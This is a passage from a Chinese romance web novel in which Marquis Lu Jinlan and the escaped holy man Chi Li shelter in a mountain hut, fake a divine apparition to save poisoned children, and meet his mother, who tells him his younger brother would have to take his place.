两人从绸缎庄出来,身上又多了两个包袱。 上都的街市上琳琅满目,二人漫步其中,蚩离由衷感慨道:“上都可真繁华。” 陆锦澜一惊,“你之前不知道?” 蚩离道:“我进上都的时候坐在轿子里,直接进了宫,这十年从未出来过。” 陆锦澜又问:“那你家呢?没有集市?” 蚩离摇了摇头,“我家在山寨里。” 陆锦澜叹了口气,“哎,那我好人做到底,今天带你好好逛逛。” 两人进了上都最繁华的酒楼,点了一桌子酒菜,大搓一顿。 陆锦澜结账回来,皱眉道:“有个坏消息。” 蚩离忙道:“我也没有。” 陆锦澜一愣,“你没有什么?” “钱,不是没有钱了吗?我出来的时候,没有带钱。她们是不让我们走吗?要不我放条毒蛇出来,咱们趁乱跑。” 陆锦澜笑道:“用不着!你不知道,我吃过没钱的苦,所以出门永远不缺钱。我说的坏消息不是没钱,是这里住店都需要凭证。本来还想带你住最好的客栈,现在我们只能去山上,做流浪妻夫了。” 蚩离并没有反驳“妻夫”二字,反而低笑一声,说道:“没关系的,我本来就喜欢住在山上。” 二人踏着暮色上了山,陆锦澜喜道:“咱们运气不错,你看,那儿有一个茅屋。” 蚩离温声道:“因为你是个好人,你做的好事,上天都能看见。所以,好人总是有好报的。你相不相信,冥冥之中一切都有上天的安排?” 陆锦澜呵呵一笑,并不言语。 蚩离兴冲冲推开了破旧的木门,顿时愣在那里。简陋破旧也就算了,问题是——只有一张床。 陆锦澜深吸一口气,对蚩离刚才的话深以为然。 他说得对,好人的确有好报。 陆锦澜努力克制着上扬的嘴角,拍了拍他的肩膀,“我相信一切都是上天的安排,今晚我们就在这里休息。”—— 作者有话说:久等了!俺来也! 第95章 这间小茅屋大约有半年没人住了,到处都是灰尘。陆锦澜摸了下桌子,蹭了一手的灰。 蚩离见她直皱眉,劝慰道:“乡下地方都是这样的,陆侯出身富庶之家,没住过这么破的房子吧?不用担心,我收拾收拾,很快就干净了。” 蚩离说着便挽起袖子,从角落里翻出皱皱巴巴的抹布,熟练地清洁打扫。 陆锦澜假模假样地挽起袖子,“我帮你吧。” 蚩离笑道:“这哪是你们女人能干的活啊?这些琐碎工夫,你做不惯的,还是我来吧。” 此话正合她意,陆锦澜便道:“那我出去打两只野味,咱们晚上加餐。” 她在附近转了转,打了两只野鸡,在河里抓了条鱼。然后找了块干净的大石头,睡了半个时辰。 醒来后约莫蚩离收拾得差不多了,陆锦澜便拎着两只野鸡和一条河鱼回到茅屋。 推开木门吓了一跳,悬挂的蛛网浮尘都被清理干净,杂乱的东西通通被归置到角落,屋子里焕然一新。 原本布满灰尘的木桌被擦得发亮,终于露出了本来的颜色。破旧的木床,垫上了厚厚的干草。 蚩离将买来的布料裁了一块,拿来做床单。上等的丝绸往上面一罩,破茅屋顿时变成了乡野度假主题房,还真有几分别样的风味。 “你回来了?”蚩离温润的嗓音在身后响起。 陆锦澜回头一看,他已经换上了她给他买的青色衣衫,显得气色红润了许多。 他大概刚刚洗过脸,鬓边的头发微微濡湿,还带着未干的水迹。 凝聚的水滴顺着流畅的脸部线条翻滚而下,留下蜿蜒曲折的水痕,直至划过喉结,钻入领口。 陆锦澜一时语塞,“你……要不要擦一擦?” 蚩离尴尬地侧过身用衣袖擦了擦脸,解释道:“我刚刚把衣服弄脏了,便到河边洗了一下。” 陆锦澜一笑,心道:哪有穿白衣服打扫卫生的?不脏就怪了。 蚩离放下水盆和篮子,将洗好的衣服晾在外面的树枝上,进门时才发现陆锦澜带回来的东西。 “你打了这么多野味?够咱们吃上两三天了。你快去歇会儿,这里有锅,我收拾一下起锅做饭,很快就可以吃了。” 陆锦澜一惊:“圣男还会做饭?我还以为你这种身份,是不识人间烟火的。” 蚩离笑了笑,一边麻利地点火烧水,一边和陆锦澜闲聊。 “圣男,不是生下来就成为圣男的。我小时候,也像世间所有普通男孩子一样,学着洗衣做饭缝补打扫,梦想着以后嫁给一个好妻主,为她生女育男,过平平淡淡的日子。” 陆锦澜不解,“那你为什么要做圣男?” 蚩离叹了口气,“小时候不懂,只是喜欢和毒物玩,渐渐学会了饲养毒物驱使毒物。族中长姥说我是天选之人,我能身饲毒物那一年,才十三岁。恰逢上一代圣男仙逝,族中长姥推选我去参选,一下子就选上了。” 蚩离说到这儿又叹了口气,“本来当了圣男还好,只是不能嫁人,也不能和家人住在一起。圣教中人,对我都很尊敬,教众会搜集各处毒物献给我。可是十八岁那年,皇上要我进宫,从此就……” 蚩离眼底一红,连忙低下头,不想给她看见。 陆锦澜躺在床上,听见这话,却不由跟着慨叹,“其实,你这样的性子,并不适合进宫,也不适合做皇夫。” 蚩离一愣,手上的动作顿时停了一下,“为什么?别人都劝我,说这是天底下最好的事。落到我头上,我应该高兴。” 陆锦澜一笑,“对于大多数人来说,是 好事。但人各有志,凡事都不能一概而论。” 蚩离喃喃道:“大家说,做皇夫风光无限,宫里有什么都有。” 陆锦澜道:“皇宫里是什么都有,但锦衣玉食辉煌富贵,却都不是你想要的。既然不是你想要的,别人看来再风光,又有什么用?” “宫殿再怎么宽敞豪华,你也只喜欢和毒物作伴。你身怀美貌,在帝王身侧,却还要守贞,何其艰难?” 他面对的是手握皇权至高无上的帝王,而自身不够强大时,引人注目的美貌只会带来不安。他要时时担忧被侵犯,想必那种滋味并不好受。 陆锦澜轻叹一声,“十年,便是三千多个日夜。个中辛酸,你不需说,我也明白。” “你明白?”蚩离眼底情绪翻涌,哽咽道:“你不是男人,不可能明白的。” 他这一生注定要孤独终老了,他知道他永远没办法像小时候幻想的那样,嫁给一个心爱的女人过幸福的生活。 所以他从十三岁那年就开始一个新的幻想,他反复告诫自己:我是圣男,我不会对任何一个女人动心。因为这个世界上,根本没有哪个女人能理解我。没有谁,值得我背叛圣训。我要终其一生,为圣教守贞。 这么多年,他对女人始终保持着强烈的戒备心,直到他遇到陆锦澜。他开始恐惧,因为她真的有可能看穿他。 他给自己洗脑了十几年,绝不允许有人打破他的幻想。他是如此的渴望被理解,却又如此害怕被理解。 他慌张地抓起盆中的鱼,大力地刮着鱼鳞,却听她轻声道:“你明明是个爱干净的人,其实并不喜欢睡在地上,对吧?” 蚩离浑身一僵,陆锦澜继续道:“你睡在那个小房间,是因为那里很脏,还有很多毒物环绕在你周围。皇帝不会去那儿,别人也不会去那儿。那是属于你的地方,让你感觉很安全,对吗?” 蚩离猛地看向她,好像刚刚认识她一样。 他试图从她脸上找到讥讽嘲笑鄙夷的痕迹,但通通没有。 她只是目光温柔的看着他,轻声道:“我想告诉你,你现在已经出来了,离开了皇宫,一切都可以重新开始。你家在哪儿?” 蚩离呆滞地看着她,木然的回答:“在繁城外的山寨。” 陆锦澜勾了勾嘴角,“我刚好顺路,等咱们能出城了,我送你回家。” 他再也控制不住,眼泪潸然而落。他匆忙地擦了擦,闷声道:“我出去收拾,你睡一会儿,饭菜好了我叫你。” * 陆锦澜再次醒来,桌上已经摆好了四菜一汤。一闻到饭菜的香味儿,肚子立刻叫了两声。 陆锦澜揉着肚子坐起来,蚩离恰好端着水盆进门,笑道:“我刚准备叫你,你正好醒了,洗把脸再吃饭吧。” 陆锦澜洗了脸坐在桌前,蚩离笑着介绍道:“我不知道你喜欢吃炖的还是炒的,所以这只鸡一半炖汤一半清炒。还有一只我已经处理好用叶子包起来,明早再做。” “我还采了些蘑菇和野菜,凑了两盘素菜。这里没什么调料,这道鱼是用鸡油煎的,不知道合不合你的胃口,你尝尝。” 陆锦澜接过筷子,夹了一小块鱼,眼睛一亮,连连点头。 “真想不到你手艺这么好,比你们姜国皇宫的御厨做得还好吃。” 蚩离笑着摇头,“你真是张口胡说,你又没吃过皇宫的御膳。” “谁说的?我吃了,偷吃的。” 两人说说笑笑的吃完了一顿饭,天彻底黑了。 蚩离忙着进进出出的收拾,陆锦澜眼睛盯着他,开始琢磨着晚上怎么睡。 没一会儿,她便感到一阵阵头晕。她有点怀疑,魅族人是不是会下蛊啊? 她怎么一动色心,就头晕恶心? 陆锦澜想了想,暗觉不对,冲到屋外大吐特吐。 蚩离吓了一跳,“你怎么了?” 陆锦澜摆了摆手,“你跟我实话实话,你是不是给我吃了什么不该吃的东西?” 蚩离冤道:“我没有!你对我这么好,我怎么可能害你呢?再说,你吃的东西,我也吃了,我怎么没事?” 陆锦澜:“我怎么知道?也许你平常就爱吃些奇奇怪怪的东西。” 蚩离恍然大悟:“好像……好像你们外族人认为,有些蘑菇是有毒的。但我们魅族人常食毒物,根本没分辨过,所以我……我都当成食物做了。” 他把剩下的蘑菇拿来给陆锦澜看,陆锦澜两眼一黑,从篮子里捡出一只红伞白杆的标准毒蘑菇。 “这个,对我们正常人来说是剧毒,你……你要谋杀亲妻啊?” 也就是她,功力深厚,身体还能吐出来。换个寻常人,这会儿应该已经不行了。 蚩离慌道:“你别怕,我这就把毒蚣唤出来。让它吸食你体内的毒素,你很快就会好。你不会有事的,我一定不会让你有事的。” 陆锦澜一听更害怕了,“用不着,你别害我了,我自己有药。” 她连忙取出之前在系统商场换的解毒丸,服了一颗。身体不适的症状很快消失,头脑迅速恢复了清明。 蚩离不放心,“还是让毒蚣帮你清理一下余毒吧。” 陆锦澜连连摆手,她到河边洗漱了一番,再回来见蚩离红着眼,默默的在一旁掉眼泪。 陆锦澜一笑,“怎么了这是?我又没死,你怎么还哭上了?” 蚩离歉疚道:“对不起,我差点害死你。” 陆锦澜笑道:“说得也是,我还说送你回家呢。我没把你送走,你差点把我送走。但你又不是故意的,你看,我现在已经没事了。别多想了,睡吧。” 陆锦澜躺到床上,蚩离给她盖上被子,然后便坐到床边。 陆锦澜:“你不睡?” 蚩离“嗯”了一声。 陆锦澜不悦道:“你差点毒死我我都没和你计较,你还怕我欺负你?” 蚩离连忙摇头,极力解释道:“我不是怕这个!我是……怕你余毒未清,半夜突然死了。我醒着,可以随时救你。” 陆锦澜无奈地笑了笑,“不会的,我的解毒药比你的毒蚣还靠谱。” 她说着拉住他的手臂,强行让他躺下,还把身上的被子给他盖上。 蚩离急道:“只有这一床被子,你身体不舒服,给你盖。” 陆锦澜把被子推给他,“我们习武之人身强体壮,给你盖。” 蚩离不肯,“我比你年长许多,算是你的哥哥。理应照顾你,还是给你盖吧。” 被子又回到陆锦澜的身上,她不禁轻笑出声。 这到底是什么际遇?她,拥有男频待遇的爽文大女主。旁边就躺着绝世美男,而她和他竟然为了一条单薄的破被子来回推让,清白得说出去都没人信。 陆锦澜想了想,低声道:“其实,我体热。我家的夫郎都说,和我盖一床被子睡在一个被窝,一点都不觉得冷。” 屋子里安静了片刻,陆锦澜差点以为他睡着了,方听他道:“我不去。” “不去哪儿?” “你的被窝。” 陆锦澜噗嗤一笑,好吧,他不上当。 她只得挽尊道:“这位圣男,你不要总把我想得那么坏。我的意思是我体热,根本不需要被子。” 陆锦澜说着一翻身,连人带被子压在他身上。 蚩离睁开眼,她的脸近在咫尺。他紧张地屏住呼吸,他很清楚她想做什么,可她犹豫片刻,只对他说:“你睡吧。” 她躺回床上,背对着他,却不知为何辗转反侧无法入睡。 蚩离感觉到黑暗中她又靠过来,悄声在他耳边问:“圣男失贞会怎样?” 蚩离低声道:“圣男失去了守贞砂,是死罪,会累及全家。” “那有没有那种情况,圣男是被迫的,是不是不能怪他?” 蚩离脸上发烫,“我……我有身饲毒物,怎么可能被迫?” 陆锦澜叹了口气,“好吧,那你快睡。等你睡着了,我非要偷亲你一下。” 她翻过身,抱着手臂愤愤地望着墙,小声嘀咕道:“亲一下,又不会失贞。” 屋子里出奇的宁静,过了好一会儿,蚩离依然没有睡着。 陆锦澜这回真的困了,“这么害怕我偷亲你?” “嗯。”他闷声回答。 “安心睡吧,我不亲了。”陆锦澜默默躺平。 蚩离没吭声,他感觉到心脏在狂跳,反复纠结,终于说出在嘴边徘徊许久的那句话:“我可以……假装睡着。” 第96章 陆锦澜在黑暗中猛然瞪大了眼睛,她迟疑着转过身。 清冷的月光从残破的窗棂中透过,她借着这几缕光亮,欣赏着他俊美如玉的容颜。 他闭着眼,呼吸却因紧张而迟迟无法平复,长睫微微颤动,勾得她心潮起伏。 蚩离局促地等待着,他生平第一次和女人躺在一张床上。其实当他看到屋子里只有一张床的时候,就预料到会有这样的后果。 可他还是一步步的走下去,眼看着自己越陷越深。他明知道她只喜欢他的美貌,却还是胆大妄为的违背圣训,邀请她来轻薄自己。 他根本不知道自己在做什么,他早已迷失了自我,放弃了身为圣男的准则,沉沦在陆锦澜的魅力中,全然被她的一言一行左右着。 他不敢想象,他这副闭目期盼的模样,在她眼里是不是意味着可以为所欲为,任君品尝? 然而比亲吻更先到来的是她温热的手掌,她轻抚着他的脸颊和鬓边的发丝,安抚着他紧绷的情绪,然后才印上温柔地一吻。 蜻蜓点水般的碰触,浅尝辄止的亲近。这份克制,偏偏让蚩离备感荣宠,完 全的彻底的沉溺在她的情网之中。 陆锦澜见他忽然睁开了眼,彼此对望,不由心神一晃。 她伸手遮住他的眼睛,严肃警告:“你想好,如果你没睡着,就不是偷亲这么简单了。” 蚩离拿开她的手,望着她深不可测的黑眸坚定的回答:“我想好了,我醒了,我是心甘情愿的。” 陆锦澜咬了咬牙,温柔的碰触转为热烈的激吻。蚩离搂住她的腰,生涩但热情地回应着。 陆锦澜一把掀开碍事的棉被,两人迫不及待地滚在了一个被窝里。 老旧的木床,因为骤然的动作发出嘎吱一声响。 窗外冷风呼啸,屋内却是活色生香。 但陆锦澜还是没做到最后,蚩离问:“为什么?” 陆锦澜低笑一声,“你不是要回家吗?还是留着你的守贞砂吧,别把你家里人吓疯了。” * 如陆锦澜所料,姜国人在城里搜了一遍,一无所获,很快便将搜查重点放到了城外。 城门口的盘查第二日便撤了,陆锦澜雇了辆车,带着蚩离大摇大摆的出城。 车妇在前面驾车,俩人在车里耳鬓厮磨你侬我侬。 陆锦澜枕在蚩离腿上闭目养神,“你小时候想没想过,要嫁给什么样的女人?” 蚩离微微一笑:“想过,不过小孩子的想法很不切实际。” “说来听听。” “我小时候想嫁给世间最好的女儿,她一定智勇双全能文能武。最重要的是,她能对夫郎好,能体谅夫郎怀孕生产的辛苦。” 陆锦澜笑道:“你这说的不就是我吗?我最能体谅孕育的辛苦了。如果我都不算文武双全,这周边各国,你可找不到第二个文武双全的女人了。” 蚩离笑着理了理她鬓边的碎发,“说的是,以陆侯的本事,称得上盖世英才,世所罕见。” 陆锦澜笑问:“那你就不想嫁给我?” 蚩离一怔,“没想过,不敢想,不敢奢望。” 陆锦澜微微睁开眼,瞥见他眼底的黯然,便握住他的手,“为何这么说?” 蚩离沮丧道:“陆侯年少有为风头无两,而我……我已经嫁为人夫,不再年轻,实在不配。” “胡说!你才二十八岁,看起来也就二十出头,怎么就不年轻了?而且你和姜国皇帝的婚姻本来就没有妻夫之实,根本不作数。你嫁给我,我会待你好的。” 蚩离望着陆锦澜灼热的目光,心头动摇,“你……你真想娶我?” “真的,你不信?” 蚩离沉默片刻,“不知道,听边境传回的消息说,你行事诡谲,嘴里没几句真话。” 陆锦澜笑了笑,“这消息不假,但那是战场上的战术。兵者诡道,都是计谋,说了你也不懂。我在战场上是没几句真话,但我在床上可很少说假话。你是一个男人,又不涉及家国大事,我骗你做什么?” 蚩离抿了抿唇,“可是,你娶我,说不定会给你带来很多麻烦。” 陆锦澜一笑,“我的本领之一就是擅长解决麻烦,你没听说过那句话吗?女人最大的魅力,就是解决问题的能力。似我这般以风流闻名的女人,怎么会解决不了你的问题?嫁给我,只有好处,没有坏处,你好好想想。” 蚩离沉默了许久,陆锦澜在晃动的马车里都快睡着了,蚩离忽然说道:“你给我讲讲你家里那几位夫郎吧。” 陆锦澜“嗯”了一声,迷迷糊糊地问:“你打听他们干嘛?” 蚩离脸上一热,支吾道:“我……我若是嫁给你,以后大家生活在一个屋檐下。我总得知道,他们好不好相处。” 陆锦澜眼睛一亮,顿时坐了起来,“那我好好跟你讲讲。” 从白天讲到晚上,夜里歇在客栈,两人躺在床上,蚩离还缠着她问:“这么说,你给他们每人都送了一枚白玉的簪子?” “嗯,我的夫郎都有。” “那簪子……漂亮吗?” “簪子不就长那样?”陆锦澜瞥见他渴望的眼神,恍然大悟,“你也想要?都在家里呢,你跟我回到神京,我送你。” 蚩离点了点头,“那咱们还去我家吗?” “去啊,你跟我回了嬅国,以后就见不到你的家人了。你去告个别,也免得宫中的消息传来,她们以为你遭遇了不测,为你担心。” “好,我都听你的。等回到你的府上,我要做你最体贴的小郎,每天给你做一日三餐。虽然你家里已经有很多孩子了,但是我们也有我们的孩子。” 陆锦澜听着这话有些不对,睁眼一看,那条赤红的毒蚣就立在身前的被子上,聆听“母父”交谈。 陆锦澜无奈地叹了口气,“你把它唤出来做什么?” 蚩离道:“我们这么亲近,你身上有我的气息,它知道你也是它的主人。它很聪明,会像孩子一样听话做事的,你给它取个名字吧?” 陆锦澜为难地咽了咽口水,“我……我还是更喜欢人形的孩子。” 但她瞥了眼那只猛然扭头看向她的毒蚣,真怕它能听懂,连忙解释道:“你别误会,没有不喜欢你的意思。” 她对蚩离道:“快把它收起来,咱们都好好休息吧。明天去你家看看,还要急着赶路呢。” 次日到了繁城,街上便随处可见圣教的教众。街上的铺面,售卖着色彩丰富的魅族衣物饰品。 陆锦澜小声道:“你们魅族人的衣服这么艳丽啊?我还以为只有白色呢。” 蚩离戴着帷帽,笑道:“是我自己喜欢白色,不过你真奇怪,明明知道我喜欢白色,还给我买了那么多鲜艳的衣衫。尤其是那件红色的,又不是当新郎,谁会穿那么显眼啊?” 陆锦澜噗嗤一笑,“我那时是故意整你的,想看你穿不穿。不过,你穿红色一定好看。” 陆锦澜说着问店铺的老板,“你们这儿什么东西卖得最好?” 老板笑道:“自然是带有圣男肖像的画了,这是保佑家宅平安百毒不侵的。” 店主举着蚩离的画像问陆锦澜:“您看看,我教圣男是不是容貌倾城?” 陆锦澜回头瞥了一眼,笑着点头,“不错,不过画像没有本人好看。” 蚩离被她瞧得不好意思,急忙拉着她离开,“快走吧。” 穿过繁城,出城不到十里,便有一座圣男庙。 两人本来没想进去,可听闻庙中哭声凄惨,便好奇地循声走了进去。 庙中大殿供奉着一丈多高的雕像,陆锦澜仔细一看,这不是蚩离吗? 她终于明白,刚遇见蚩离的时候,他屋里的香案上为什么没有摆任何神像。 原来她们圣教的神就是圣男,那几根香,拜的是他自己。 殿内有几十教众,十几位中年母父抱着奄奄一息的孩子,在神像前痛哭流涕,磕头祈祷。 陆锦澜一看那几个孩子大约七八岁,脸色铁青的昏迷着,明显是中毒了。 一问旁边的人才知道,这些孩子结伴玩耍时误入了魅族的练功地,被毒蛇咬伤,命在旦夕。 旁边的人叹息道:“唉,已经派人去请魅族长姥了,不过她们中毒太深,只怕是长姥来了也没有办法。” 另一人道:“若是圣男在这儿就好了,他的赤蚣一定能吸食毒血。” 陆锦澜将 蚩离拉到一旁,“你能救孩子们吗?” “能。” “你想救她们吗?” “想。可是……”蚩离纠结道:“我暴露了身份,我们还逃得掉吗?” 陆锦澜皱了皱想了想,“有了!附耳过来。” * 大殿中的教众正在低声安慰家属,忽听有人道:“你们就这么等着也不是办法,我听说只要连磕三个头,紧闭双眼,诚心诵念三遍‘求圣男显灵’,圣男就会出现,带着他的神蚣救死扶伤。” 这话当然是陆锦澜说的,旁边的人诧异地看向她。 都在问:“是真的吗?” 没等陆锦澜回答,有位长者便皱眉道:“莫要胡说!圣男远在上都皇宫,怎可显灵?我在教中四十余年,从未听说过圣男可以显灵。” 陆锦澜心说:你们这教都供活人神像了,这会儿又讲求客观唯物了? 她紧接着便随机应变,从实际的角度继续忽悠道:“那是之前的圣男不行,如今这代圣男本来就天赋异禀。我听闻他在宫中无事可忙,但心系教众,就修习了显灵之术,为的就是随时随地帮助大家。” 那位长者将信将疑,“这是什么时候的事?我怎么从来没听说过?你是哪一年入的教?你年纪轻轻,怎么知道这么多?” 陆锦澜:“我在上都时听说的,你们要是不信就算了,我看你们也不想救人。” 那些家属哭得快背过气了,这会儿忙道:“信!我们信!只要能救孩子,我们什么方法都愿意试。” 陆锦澜忙道:“那大家跟着一起拜吧,人多心诚,更容易显灵。” 众人也不知道是真是假,反正听她说得有鼻子有眼,又有家属在一旁恳求,纷纷跟着跪下磕头。 陆锦澜趁机退到一旁,从香炉里抓了把香灰。 众人刚齐声诵念了三遍“请圣男显灵”,便听陆锦澜喊了一声:“圣男显灵了!” 众人睁开眼,只见灰尘从空中缓缓落下,大家都眯着眼。 迷蒙之间,见圣男掌中托着赤红如血的毒蚣,端坐案上,沉声道:“将伤者放下,其余人等退至殿外。” 殿内全是倒抽冷气的声音,全体惊讶到呆滞。 陆锦澜催道:“快把孩子放下,大家赶紧出去。圣男时间有限,一会儿该走了。” 众人这才如梦初醒,连滚带爬的退到殿外。 陆锦澜最后一个出去,朝蚩离眨了眨眼,关上了殿门。 “去去去!都离远点,不能看,看了就不灵了。” 陆锦澜把人都撵到庙外,自己偷偷从门缝里看了一眼。 那毒蚣十分灵巧,先咬破一个伤者手腕吸食毒血,随即又游走到另一伤者的患处啃咬。不知道有的孩子是不是中毒严重或者情况特殊,那毒蚣还会进到伤者嘴里。 陆锦澜看得眉头紧锁,不一会儿工夫,蚩离收回毒蚣,冲她点了点头,从后门出去。 陆锦澜忙喊了一声:“圣男不见啦!显灵结束啦!” 外面的家属跑进来一看,殿里的孩子已经苏醒过来,开始哭着喊饿。家属喜极而泣,又开始磕头作揖,口中喊着:“多谢圣男显灵!” 陆锦澜抿着唇走出殿外,和几个魅族人擦肩而过。 一位老妇人吸了吸鼻子,盯着她的背影愣愣地出神。 陆锦澜在庙后和蚩离会合,蚩离笑道:“你真有办法,我的教众竟然都信了。不过,这件事肯定会被传出去的。” 陆锦澜笑道:“传出去更好,把你传得神乎其神。那个皇帝也不敢把你抓回去了,以后你在姜国消失,大家说不定以为你羽化飞升了。不过这么一来,你最好不要回家了,一旦露面是瞒不住的。” 蚩离点了点头,“好,有了这件事,我家里人应该也不会担心我,我们这就走吧。” 陆锦澜算了算日子,“时间正好,咱们绕过业州城,走小路,穿过姜国和曲国之间的荒林,赶在月圆之夜前就能到嬅国地界了。” 蚩离一听慌道:“千万不能走那条路!” “为什么?” “那片荒林是我们魅族祖先坐化的地方,也是许多族中长姥往生后的墓地。那片林子很邪门,我们魅族中人都不敢轻易进去,每年祭祖要由长姥领路大家才能全身而退。” “为了防止盗墓,林中还布置了很多毒阵,寻常人进去必死无疑。连我也不知道里面到底有多少陷阱,我们绝对不能走这条路。” 陆锦澜担忧道:“如果是这样,我们要赶快想别的办法。如果我不能在月圆之夜赶回去,我的朋友会到林中找我,那她们岂不是很危险?走,咱们立刻进业城,想办法出关。” 陆锦澜拉着蚩离刚要走,忽听身后有人厉声道:“蚩离,你给我站住!” 陆锦澜眉头一皱,转身一看,说话的人是在庙中和她擦肩而过的老妇。 陆锦澜不客气道:“你是谁?敢和圣男这么说话。” 回头一看蚩离已经跪下,拽了拽她的衣襟,低声提醒:“这是我娘。” 陆锦澜:“……” 第97章 蚩琴沉着脸,将蚩离带回了魅寨,陆锦澜跟在她们身后,隐隐有种不祥的预感。 进门的时候,蚩琴拦下陆锦澜,“我们母子要单独谈谈,这位少娘请便吧。” 蚩离急道:“娘,她是陆锦澜。” 蚩琴气道:“她是赵敏成也不行!” 她说着转过身上下打量了陆锦澜一眼,阴阳怪气道:“我当是谁,能把我儿从宫中拐出来,原来是嬅国大名鼎鼎风头正劲的靖安侯。” 陆锦澜拱了拱手,望着她眼中的敌意,勾了勾嘴角,不阴不阳的回道:“些许薄名,不足挂齿,前辈谬赞了。” 蚩琴冷哼一声,“陆侯已于沙场大展神威,又从宫中拐带皇夫全身而退,还嫌不够吗?蚩离已然到家,请你高抬贵手放了他。” “我想,陆侯你名满天下,应该不会恃强凌弱,为难我们寡母孤儿。难道你想血洗魅寨,强行将人掳走吗?” 蚩离忙道:“我是自愿跟她走的。” “你给我闭嘴!”蚩琴紧皱眉头,厉声呵斥。 陆锦澜叹了口气,“看来前辈对我有许多误会,我若极力辩解难免有狡辩之嫌。还是让蚩离自己跟您解释,你们母子进去谈吧,我就在这儿等着。” 屋门紧闭,蚩离跪在祖先牌位前,把事情的前因后果都告诉他娘。 蚩琴听完沉默片刻,“这么说,你要为了她,背弃姜国、背弃圣教、背弃族人?” 蚩离苦笑着叹了口气,“孩儿这十年,活在深宫之中,于国家于圣教于族人,也没什么贡献。我不过是一个象征一种图腾,跟案上供奉的神像也没什么两样。” “可我是一个人,我不想做那个神像,我只想做一个平凡的男人。当初送我入宫时,你们都说,这是天大的好事。如今我就要消失了,这件天大的好事就交给别人去做吧。” “我知道我要让娘失望了,让族人失望了。可人这一辈子,总不能只为别人活着吧?” 蚩琴一愣,“你怎么会说出这种话?你以前从来不会说这种话。是不是陆锦澜教你的?她给你灌了什么迷魂汤?” 蚩离道:“她说得没错,不是吗?孩儿现在很清醒,清醒极了。母亲,我一直很听您的话。一开始我不想做圣男,可我还是做了。后来我也不想嫁给皇帝,可我还是嫁了。” “如今我已经二十八岁了,活了小半辈子,竟然还没未自己活过,想想真是可怜。母亲,你就当可怜我一次吧。” “我现在只想跟她走,您就让我为自己的人生做一次主,行吗?” 他膝行几步,抓着蚩琴的衣摆,声泪俱下,恳求道:“娘,您就疼我一次吧。放我走,求您了!” 蚩琴痛苦地垂下眼眸,眼中满是无奈,“你是我的亲生儿子,我怎么会不疼你?可这世上的事,本就是阴差阳错。 万般皆是命,半点不由人。” “如果当初能不让你做圣男,我一定不让你做。如果能不入宫,我一定不让你入宫。你在宫中煎熬十年,娘也在宫外惦念你十年。我知道你怨我,可娘也是没有办法。” “陆锦澜是个人物,你能得她青睐,她必定不会亏待你。娘当然希望你能有个好的归宿,可是……可是……” 蚩琴连连叹息,蚩离忙问:“可是什么?” “可是你弟弟已经学会身饲毒物了……” 蚩离呆滞一霎,颓然地跌坐在地上。 * 陆锦澜在木凳上坐着,不一会儿便有一个长相与蚩离有三分相似的少男跑过来。 他看着也就是十五六岁,脖子上缠着条毒蛇,一人一蛇,满眼新奇地看着她。 陆锦澜听蚩离说过,他有一个妹妹一个弟弟,大约这就是他弟弟蚩澄了。 陆锦澜便道:“你是蚩澄吧?我是跟着你娘你哥到这儿来的客人。” 蚩澄点点头,“我知道,我小时候我哥天天抱着我,你身上有我哥的气味,我闻得出来。” 陆锦澜暗道:这魅族人属狗的,鼻子跟正常人不一样,我怎么闻不到什么气味? 蚩澄又问:“你是皇帝吗?” 陆锦澜摇了摇头,“不是,我是嬅国的陆锦澜。” 蚩澄顿时瞪大了眼睛,“啊?那你……你身上怎么会有我哥的气味?他不是嫁给皇帝了吗?” 陆锦澜笑了笑,“这你就不懂了吧?知道什么叫偷情吗?” 蚩澄反应了一会,“你是奸妇?” 陆锦澜坦然的点了点头,“没错,可以这么理解。” “啊!”蚩澄震惊之余一脸崇拜,“怪不得都说你厉害,你连这种事都敢做,果然厉害。我只听说过奸妇,还从未见过呢。” 陆锦澜呵呵一笑,“那是因为有的人敢做不敢当,都是孬种。我陆锦澜才不怕,反正我历来毁誉参半,也不在乎多一桩罪名。畏畏缩缩是你们男人干的事,老娘敢做就敢认。” “咳!”蚩琴用力咳嗽一声,打断了二人的交谈。 陆锦澜连忙起身,见蚩离眼睛红肿的跟在他娘身后。 蚩琴道:“陆侯留下来吃顿便饭吧,听说你要回嬅国,我女儿漠遥是业州城的一名小吏,也许她有办法送你回去,我这就去安排。” 蚩琴对陆锦澜的态度一百八十度大转弯,陆锦澜不禁诧异,低声问蚩离:“你娘不会想在饭菜里下毒,毒死我吧?” 蚩离笑着摇头,“不会,其实……她是很欣赏你的。” 蚩琴一走,蚩澄立刻欣喜地凑到跟前来,“哥,你终于回来了。我天天盼着你回来呢,正好给你瞧瞧我的蝎子。” 蚩澄说着一张嘴,吐出一只淡青色的毒蝎。 陆锦澜微微后仰,真不习惯魅族人这种毫不避人的生活方式。 蚩离摸了摸蚩澄的头,勉强提起兴致,表扬道:“很好。” “哥,你把你的赤蚣取出来,和我的毒蝎玩一会儿吧。” 蚩离便将赤蚣交给他,“去玩吧。” 蚩离望向陆锦澜,“你想吃什么?我给你做。时候不早,吃完饭,就该启程了。” 陆锦澜见他语带哽咽神色异常,连忙拉住他,“怎么了?发生什么事了?” 蚩离含着热泪,无奈地告诉她,“我不能跟你走了。” 陆锦澜一怔:“为什么?” “因为……因为我弟弟学会了身饲毒物,如果我走了,他就会成为新一代圣男。他会和我一样,被拘到深宫之中,直到老死。” 蚩离眼泪滚滚而落,抱住陆锦澜无声地痛哭。 “你不知道我多想跟你走,这个圣男我早就当得索然无味。我根本不稀罕做圣男,我也不稀罕做皇夫,我宁愿在你身边做一个无名无分的男人,只要能留在你身边……” “可是……可是蚩澄还那么小,我真的不忍心让他替我到宫中受罪。我对不起你,你别恨我,我是真的没有办法。” 陆锦澜用力地抱着他,眼眶湿润,“我不怪你,但是你们谁都不该到宫里受罪。这件事,一定有别的解决办法。” 蚩离绝望道:“没有办法了,这就是我们一家人的命。但是我已经没有什么可抱怨的了,和你在一起的这些天,是我这一生中最幸福的日子。” “以后我会一直一直想着你、念着你,你是我生命中唯一的女人,我会为你守身如玉,直到我死。” 陆锦澜怜惜地吻了吻他的脸颊,“先不要说这种话,你让我想想。” “别想了,那会白白浪费时间的。我们的时间不多了,你好好陪陪我吧。让我可以多拥有一些回忆,我的余生,要靠我们之间的回忆才能勉强撑得下去。” 蚩离说着从怀里取出一块乌金令牌,“这是圣明令,凡我教众,见此令牌,如同见我。归程若有意外,她们会帮你的。” 蚩离靠在陆锦澜肩上,温声道:“你还没给赤蚣取名字呢,我来取吧,叫‘念离’好不好?” “我不能离开姜国,我把念离送给你。让它代替我陪在你身边,或许它可以帮你,你看到它,也会想起我。” 陆锦澜鼻尖酸楚,含泪拒绝,“不行,那你怎么办?” 